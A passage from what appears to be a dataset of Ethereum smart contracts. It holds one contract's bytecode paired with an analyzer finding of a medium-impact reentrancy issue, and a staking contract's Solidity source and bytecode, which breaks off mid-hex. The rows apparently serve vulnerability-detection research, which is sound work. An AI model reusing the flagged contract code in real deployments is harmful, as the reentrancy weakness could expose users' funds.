} | 0x6080604052600436106101115763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663080fbebf811461011d5780631df935581461014457806321e6b53d1461016b57806322f3e2d41461018c57806334fcf437146101b55780633aa51e41146101cd5780634172d080146101e25780634bb278f3146101f7578063590e1ae31461020c5780636f7920fd1461022157806374eedd46146102365780638d4e40831461024b5780638da5cb5b14610260578063a81c3bdf14610291578063b78b52df146102a6578063bc3da535146102ca578063c039daf6146102eb578063f2fde38b14610300578063f5ac631914610321578063fc0c546a14610336575b61011b333461034b565b005b34801561012957600080fd5b5061011b600435602435600160a060020a03604435166104d5565b34801561015057600080fd5b506101596105ca565b60408051918252519081900360200190f35b34801561017757600080fd5b5061011b600160a060020a03600435166105d0565b34801561019857600080fd5b506101a1610696565b604080519115158252519081900360200190f35b3480156101c157600080fd5b5061011b60043561069f565b3480156101d957600080fd5b5061011b61070d565b3480156101ee57600080fd5b50610159610792565b34801561020357600080fd5b5061011b610798565b34801561021857600080fd5b5061011b610859565b34801561022d57600080fd5b50610159610a18565b34801561024257600080fd5b50610159610a1e565b34801561025757600080fd5b506101a1610a24565b34801561026c57600080fd5b50610275610a2d565b60408051600160a060020a039092168252519081900360200190f35b34801561029d57600080fd5b50610275610a3c565b3480156102b257600080fd5b506101a1600160a060020a0360043516602435610a4b565b3480156102d657600080fd5b50610159600160a060020a0360043516610be5565b3480156102f757600080fd5b50610159610bf7565b34801561030c57600080fd5b5061011b600160a060020a0360043516610bfd565b34801561032d57600080fd5b50610159610cb0565b34801561034257600080fd5b50610275610cb6565b600080600061035a8585610cc5565b61036384610d07565b600654909350610379908463ffffffff610d2416565b60045490925082111561038b57600080fd5b6006829055600154604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015260248201879052915191909216916340c10f199160448083019260209291908290030181600087803b1580156103ff57600080fd5b505af1158015610413573d6000803e3d6000fd5b505050506040513d602081101561042957600080fd5b5051905080151561043957600080fd5b600160a060020a0385166000908152600b602052604090205461046390859063ffffffff610d2416565b600160a060020a038087166000818152600b60209081526040918290209490945580518781529051919330909316927f918348ece72b49a58054829fde7465a1e06386019b2a981c2daee97b0f795ede92918290030190a3600554600654106104ce576104ce610d3e565b5050505050565b60005433600160a060020a039081169116146104f057600080fd5b60075460ff161561050057600080fd5b600a5460ff161561051057600080fd5b60005433600160a060020a0390811691161461052b57600080fd5b6000831161053857600080fd5b60008211801561054757508282115b151561055257600080fd5b600160a060020a038116151561056757600080fd5b600a805460ff1990811690915560078054909116600190811790915560005460028054600160a060020a0392831673ffffffffffffffffffffffffffffffffffffffff199182161790915560089590955560099390935580549093169116179055565b60085481565b60005433600160a060020a039081169116146105eb57600080fd5b600160a060020a038116151561060057600080fd5b60005433600160a060020a0390811691161461061b57600080fd5b600154604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152600160a060020a0384811660048301529151919092169163f2fde38b91602480830192600092919082900301818387803b15801561068257600080fd5b505af11580156104ce573d6000803e3d6000fd5b60075460ff1681565b60005433600160a060020a039081169116146106ba57600080fd5b60075460ff1615156001146106ce57600080fd5b60005433600160a060020a039081169116146106e957600080fd5b6101f481101580156106fd57506105dc8111155b151561070857600080fd5b600355565b60005433600160a060020a0390811691161461072857600080fd5b60005433600160a060020a0390811691161461074357600080fd5b600554600654101561075457600080fd5b600254604051600160a060020a039182169130163180156108fc02916000818181858888f1935050505015801561078f573d6000803e3d6000fd5b50565b60035481565b60005433600160a060020a039081169116146107b357600080fd5b600a5460ff16156107c357600080fd5b60005433600160a060020a039081169116146107de57600080fd5b60055460065410156107ef57600080fd5b6006546000106107fe57600080fd5b60095442101561081e57600454600654101561081957600080fd5b61082d565b60095442101561082d57600080fd5b60005461084290600160a060020a03166105d0565b600a805460ff1916600117905561085761070d565b565b600a54600090819060ff161561086e57600080fd5b60075460ff16151560011461088257600080fd5b600954421161089057600080fd5b600554600654106108a057600080fd5b60005433600160a060020a03908116911614156108bc57600080fd5b600160a060020a0333166000908152600b6020526040812054925082116108e257600080fd5b600160a060020a033381166000818152600b6020908152604080832083905560015481517f70a08231000000000000000000000000000000000000000000000000000000008152600481019590955290519416936370a0823193602480820194918390030190829087803b15801561095957600080fd5b505af115801561096d573d6000803e3d6000fd5b505050506040513d602081101561098357600080fd5b505160065490915061099b908263ffffffff610d7716565b600655604051600160a060020a0333169083156108fc029084906000818181858888f193505050501580156109d4573d6000803e3d6000fd5b50604080518381529051600160a060020a033316917fb6c0eca8138e097d71e2dd31e19a1266487f0553f170b7260ffe68bcbe9ff8a7919081900360200190a25050565b60045481565b60095481565b600a5460ff1681565b600054600160a060020a031681565b600254600160a060020a031681565b600080548190819033600160a060020a03908116911614610a6b57600080fd5b60075460ff161515600114610a7f57600080fd5b60008411610a8c57600080fd5b60005433600160a060020a03908116911614610aa757600080fd5b600160a060020a0385161515610abc57600080fd5b600654610acf908563ffffffff610d2416565b600454909250821115610ae157600080fd5b6006829055600154604080517f40c10f19000000000000000000000000000000000000000000000000000000008152600160a060020a03888116600483015260248201889052915191909216916340c10f199160448083019260209291908290030181600087803b158015610b5557600080fd5b505af1158015610b69573d6000803e3d6000fd5b505050506040513d6020811015610b7f57600080fd5b50519050801515610b8f57600080fd5b84600160a060020a031630600160a060020a03167f918348ece72b49a58054829fde7465a1e06386019b2a981c2daee97b0f795ede866040518082815260200191505060405180910390a3506001949350505050565b600b6020526000908152604090205481565b60055481565b60005433600160a060020a03908116911614610c1857600080fd5b600160a060020a0381161515610c2d57600080fd5b60005433600160a060020a03908116911614610c4857600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60065481565b600154600160a060020a031681565b600854421015610cd457600080fd5b6009544210610ce257600080fd5b600160a060020a0382161515610cf757600080fd5b801515610d0357600080fd5b5050565b6000610d1e60035483610d8990919063ffffffff16565b92915050565b600082820183811015610d3357fe5b8091505b5092915050565b600254604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561078f573d6000803e3d6000fd5b600082821115610d8357fe5b50900390565b600080831515610d9c5760009150610d37565b50828202828482811515610dac57fe5b0414610d3357fe00a165627a7a723058201c33262d42051211ecc64c850de6aa1cd460e5411e1d63713862e227b2880fdd0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 327 |
0x287e3ded4441117ed742864e71e05c4439189abc | /**
*Submitted for verification at Etherscan.io on 2020-12-15
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-23
*/
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract FarmPrdzEth96 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// deposit token contract address
address public trustedDepositTokenAddress;
address public trustedRewardTokenAddress;
uint public adminCanClaimAfter = 395 days;
uint public withdrawFeePercentX100 = 0;
uint public disburseAmount = 25e18;
uint public disburseDuration = 30 days;
uint public cliffTime = 96 hours;
uint public disbursePercentX100 = 10000;
uint public contractDeployTime;
uint public adminClaimableTime;
uint public lastDisburseTime;
constructor(address _trustedDepositTokenAddress, address _trustedRewardTokenAddress) public {
trustedDepositTokenAddress = _trustedDepositTokenAddress;
trustedRewardTokenAddress = _trustedRewardTokenAddress;
contractDeployTime = now;
adminClaimableTime = contractDeployTime.add(adminCanClaimAfter);
lastDisburseTime = contractDeployTime;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e18;
function addContractBalance(uint amount) public onlyOwner {
require(Token(trustedRewardTokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(depositTime[msg.sender]) > cliffTime, "Please wait before withdrawing!");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function canWithdraw(address account) public view returns (uint) {
if(now.sub(depositTime[account]) > cliffTime){
return 1 ;
}
else{
return 0 ;
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
// uint contractBalance = Token(trustedRewardTokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = now;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = now.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
} | 0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c80638b7afe2e1161011a578063c326bf4f116100ad578063d7130e141161007c578063d7130e1414610877578063e027c61f14610895578063f2fde38b146108b3578063f3f91fa0146108f7578063fe547f721461094f576101fb565b8063c326bf4f146107c5578063ca7e08351461081d578063d1b965f31461083b578063d578ceab14610859576101fb565b806398896d10116100e957806398896d10146107035780639f54790d1461075b578063ac51de8d14610779578063b6b55f2514610797576101fb565b80638b7afe2e1461065f5780638da5cb5b1461067d5780638e20a1d9146106c75780638f5705be146106e5576101fb565b8063308feec3116101925780634e71d92d116101615780634e71d92d146105c15780636270cd18146105cb57806365ca78be146106235780637e1c0c0914610641576101fb565b8063308feec3146104d357806331a5dda1146104f1578063452b4cfc1461053b57806346c6487314610569576101fb565b806319262d30116101ce57806319262d30146103ab5780631cfa8021146104035780631f04461c1461044d5780632e1a7d4d146104a5576101fb565b806305447d25146102005780630813cc8f146103655780630c9a0c781461036f5780630f1a64441461038d575b600080fd5b6102366004803603604081101561021657600080fd5b81019080803590602001909291908035906020019092919050505061096d565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561028557808201518184015260208101905061026a565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102c75780820151818401526020810190506102ac565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156103095780820151818401526020810190506102ee565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561034b578082015181840152602081019050610330565b505050509050019850505050505050505060405180910390f35b61036d610c86565b005b610377610d39565b6040518082815260200191505060405180910390f35b610395610d3f565b6040518082815260200191505060405180910390f35b6103ed600480360360208110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d45565b6040518082815260200191505060405180910390f35b61040b610db5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61048f6004803603602081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ddb565b6040518082815260200191505060405180910390f35b6104d1600480360360208110156104bb57600080fd5b8101908080359060200190929190505050610df3565b005b6104db6113b9565b6040518082815260200191505060405180910390f35b6104f96113ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b81019080803590602001909291905050506113f0565b005b6105ab6004803603602081101561057f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f1565b6040518082815260200191505060405180910390f35b6105c9611609565b005b61060d600480360360208110156105e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611614565b6040518082815260200191505060405180910390f35b61062b61162c565b6040518082815260200191505060405180910390f35b610649611632565b6040518082815260200191505060405180910390f35b610667611638565b6040518082815260200191505060405180910390f35b61068561163e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106cf611663565b6040518082815260200191505060405180910390f35b6106ed611669565b6040518082815260200191505060405180910390f35b6107456004803603602081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166f565b6040518082815260200191505060405180910390f35b6107636117b6565b6040518082815260200191505060405180910390f35b6107816117bc565b6040518082815260200191505060405180910390f35b6107c3600480360360208110156107ad57600080fd5b8101908080359060200190929190505050611833565b005b610807600480360360208110156107db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b6040518082815260200191505060405180910390f35b610825611b79565b6040518082815260200191505060405180910390f35b610843611b7f565b6040518082815260200191505060405180910390f35b610861611b85565b6040518082815260200191505060405180910390f35b61087f611b8b565b6040518082815260200191505060405180910390f35b61089d611b91565b6040518082815260200191505060405180910390f35b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b97565b005b6109396004803603602081101561090d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce8565b6040518082815260200191505060405180910390f35b610957611d00565b6040518082815260200191505060405180910390f35b60608060608084861061097f57600080fd5b60006109948787611d2290919063ffffffff16565b905060608167ffffffffffffffff811180156109af57600080fd5b506040519080825280602002602001820160405280156109de5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156109fa57600080fd5b50604051908082528060200260200182016040528015610a295781602001602082028036833780820191505090505b50905060608367ffffffffffffffff81118015610a4557600080fd5b50604051908082528060200260200182016040528015610a745781602001602082028036833780820191505090505b50905060608467ffffffffffffffff81118015610a9057600080fd5b50604051908082528060200260200182016040528015610abf5781602001602082028036833780820191505090505b50905060008b90505b8a811015610c6b576000610ae682600d611d3990919063ffffffff16565b90506000610afd8e84611d2290919063ffffffff16565b905081878281518110610b0c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054868281518110610b9257fe5b602002602001018181525050601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054858281518110610bea57fe5b602002602001018181525050600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610c4257fe5b6020026020010181815250505050610c64600182611d0690919063ffffffff16565b9050610ac8565b50838383839850985098509850505050505092959194509250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cdf57600080fd5b6000610ce96117bc565b9050806015541015610cfb5760155490505b6000811415610d0a5750610d37565b610d1381611d53565b610d2881601554611d2290919063ffffffff16565b60158190555042600b81905550505b565b60085481565b60075481565b6000600754610d9c601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b1115610dab5760019050610db0565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60136020528060005260406000206000915090505481565b80600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ea8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b600754610efd601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d2290919063ffffffff16565b11610f70576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f506c656173652077616974206265666f7265207769746864726177696e67210081525060200191505060405180910390fd5b610f7933611de1565b6000610fa4612710610f96600454856120f790919063ffffffff16565b61212690919063ffffffff16565b90506000610fbb8284611d2290919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561108757600080fd5b505af115801561109b573d6000803e3d6000fd5b505050506040513d60208110156110b157600080fd5b8101908080519060200190929190505050611134576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f436f756c64206e6f74207472616e73666572206665652100000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156111dd57600080fd5b505af11580156111f1573d6000803e3d6000fd5b505050506040513d602081101561120757600080fd5b810190808051906020019092919050505061128a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6112dc83600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2290919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133483601754611d2290919063ffffffff16565b60178190555061134e33600d61213f90919063ffffffff16565b801561139957506000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113b4576113b233600d61216f90919063ffffffff16565b505b505050565b60006113c5600d61219f565b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461144957600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561152657600080fd5b505af115801561153a573d6000803e3d6000fd5b505050506040513d602081101561155057600080fd5b81019080805190602001909291905050506115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616e6e6f74206164642062616c616e6365210000000000000000000000000081525060200191505060405180910390fd5b6115e881601554611d0690919063ffffffff16565b60158190555050565b60106020528060005260406000206000915090505481565b61161233611de1565b565b60126020528060005260406000206000915090505481565b60145481565b60175481565b60155481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b60065481565b600061168582600d61213f90919063ffffffff16565b61169257600090506117b1565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156116e357600090506117b1565b6000611739601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601654611d2290919063ffffffff16565b90506000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006117a860185461179a85856120f790919063ffffffff16565b61212690919063ffffffff16565b90508093505050505b919050565b60095481565b6000806117d4600b5442611d2290919063ffffffff16565b9050600061182961271061181b60065461180d866117ff6008546005546120f790919063ffffffff16565b6120f790919063ffffffff16565b61212690919063ffffffff16565b61212690919063ffffffff16565b9050809250505090565b600081116118a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b6118b233611de1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561198f57600080fd5b505af11580156119a3573d6000803e3d6000fd5b505050506040513d60208110156119b957600080fd5b810190808051906020019092919050